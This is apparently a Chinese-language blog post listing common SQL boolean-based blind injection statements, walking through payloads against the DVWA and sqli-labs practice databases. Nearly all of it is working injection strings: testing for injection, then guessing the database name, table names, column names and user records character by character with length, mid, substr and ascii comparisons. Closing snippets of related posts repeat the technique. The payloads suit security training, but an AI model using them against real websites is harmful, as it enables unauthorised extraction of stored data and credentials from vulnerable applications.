SQL布林盲注常用語句

2021-09-26 10:27:51 字數 3338 閱讀 6366

過程

1.判斷是否存在注入,注入字元型還是數字型

2.猜解當前資料庫名 資料庫長度→庫名

3.資料庫中的表名 幾個表→長度→名稱

4.表中的欄位名 字段個數→長度→名稱

5.資料判斷

1』 and 『1』=『1

1』 and 『1』='2

2.庫名

1』 and length(database())>3#

1』 and length(database())=5 #

1』 and mid(database(),1,1)=『d』 # 判斷單個字元

1』 and substr(database(),1,1)=『d』 # 判斷單個字元

1』 and ord(substr((select database()),1,1))=98 # 使用ascii碼判斷單個字元

1』 and ascii(substr((select database()),1,1))=98 # 使用ascii判斷單個字元

1』 and left(database(),4)=『dvwa』 # 判斷乙個字串,即多個字元

3.表名

1』 and 1=((select count() from information_schema.tables where table_schema=『dvwa』) < 3) #

1』 and 1=((select count() from information_schema.tables where table_schema=『dvwa』)=2)#

1』 and length((select table_name from information_schema.tables where table_schema=『security』 limit 0,1))=6 # limit 0,1 表示取從0開始的前1個,即第1個

1』 and length((select table_name from information_schema.tables where table_schema=『security』 limit 1,1))=3# 第2個表名的長度

1』 and mid((select table_name from information_schema.tables where table_schema=『dvwa』 limit 0,1),1,1)=『u』 # dvwa資料庫中第1個表的第1個字元是否為u

1』 and mid((select table_name from information_schema.tables where table_schema=『dvwa』 limit 1,1),1,1)=『u』 # dvwa資料庫中第2個表的第1個字元是否為u

1』 and mid((select table_name from information_schema.tables where table_schema=『dvwa』 limit 1,1),2,1)=『s』 # dvwa資料庫中第2個表的第2個字元是否為s

1』 and left((select table_name from information_schema.tables where table_schema=『dvwa』 limit 1,1),5)=『users』 # dvwa資料庫中第2個表名是否為users

1』 and ascii(substr((select table_name from information_schema.tables where table_schema=『dvwa』 limit 0,1),1,1))=101 # dvwa資料庫中第1個表中第1字元的ascii碼是否為101

4.列名

列數1』 and 1=((select count() from information_schema.columns where table_schema=『dvwa』 and table_name=『users』)=6) # 猜測dvwa資料中users表中是否有6個字段

1』 and 1=((select count() from information_schema.columns where table_schema=『dvwa』 and table_name=『users』)<7) #

猜解列長度

1』 and length((select column_name from information_schema.columns where table_schema=『dvwa』 and table_name=『users』 limit 0,1))>2 # dvwa資料庫中users表中第乙個字段長度是否大於2

1』 and length((select column_name from information_schema.columns where table_schema=『dvwa』 and table_name=『users』 limit 3,1))=4 # dvwa資料庫中users表中第四個欄位名長度是否為4

猜解列名

1』 and mid((select column_name from information_schema.columns where table_schema=『dvwa』 and table_name=『users』 limit 0,1),1,1)=『u』 # dvwa資料庫中users表中第1個字段的第1個字元是否為u

1』 and mid((select column_name from information_schema.columns where table_schema=『dvwa』 and table_name=『users』 limit 0,1),2,1)=『u』 # dvwa資料庫中users表中第1個字段的第2個字元是否為u

1』 and mid((select column_name from information_schema.columns where table_schema=『dvwa』 and table_name=『users』 limit 1,1),1,1)=『u』 # dvwa資料庫中users表中第2個字段的第1個字元是否為u

5.資料

資料長度

1』 and length((select user from dvwa.users limit 0,1))=5 # dvwa資料庫中users表中user欄位中第1資料的長度是否為5

1』 and length((select user from dvwa.users limit 1,1))=5 # dvwa資料庫中users表中user欄位中第2資料的長度是否為5

猜資料1』 and mid((select user from dvwa.users limit 0,1),1,1)=『a』 # dvwa資料庫users表中user欄位中第1個資料中的第1個字元是否為a

1』 and mid((select user from dvwa.users limit 0,1),2,1)=『d』 # dvwa資料庫users表中user欄位中第1個資料中的第2個字元是否為d

MySQL基於布林型盲注常用語句

基於布林型sql盲注即在sql注入過程中,應用程式僅僅返回true 頁面 和false 頁面 這時,我們無法根據應用程式的返回頁面得到我們需要的資料庫資訊。但是可以通過構造邏輯判斷 比較大小 來得到我們需要的資訊。查詢所有資料庫 1.判斷表存不存在 and exists select from in...

SQL注入 布林盲注

可以進行sql注入,但是不能通過sql注入漏洞看到資料庫中的資訊,但是可以通過真假判斷資料庫中的資訊 布林盲注的方法 構造邏輯判斷語句,判斷資訊的真假,取出所有的真值 以less 8為例 還是老步驟,初步判斷是否存在sql注入漏洞 返回you are in 無返回 可以初步判斷存在sql注入漏洞,並...

sql常用語句

use myoa select from delete from department where departmentid 1 insert department departmentid,departmentname values 1,技術部 update department set depa...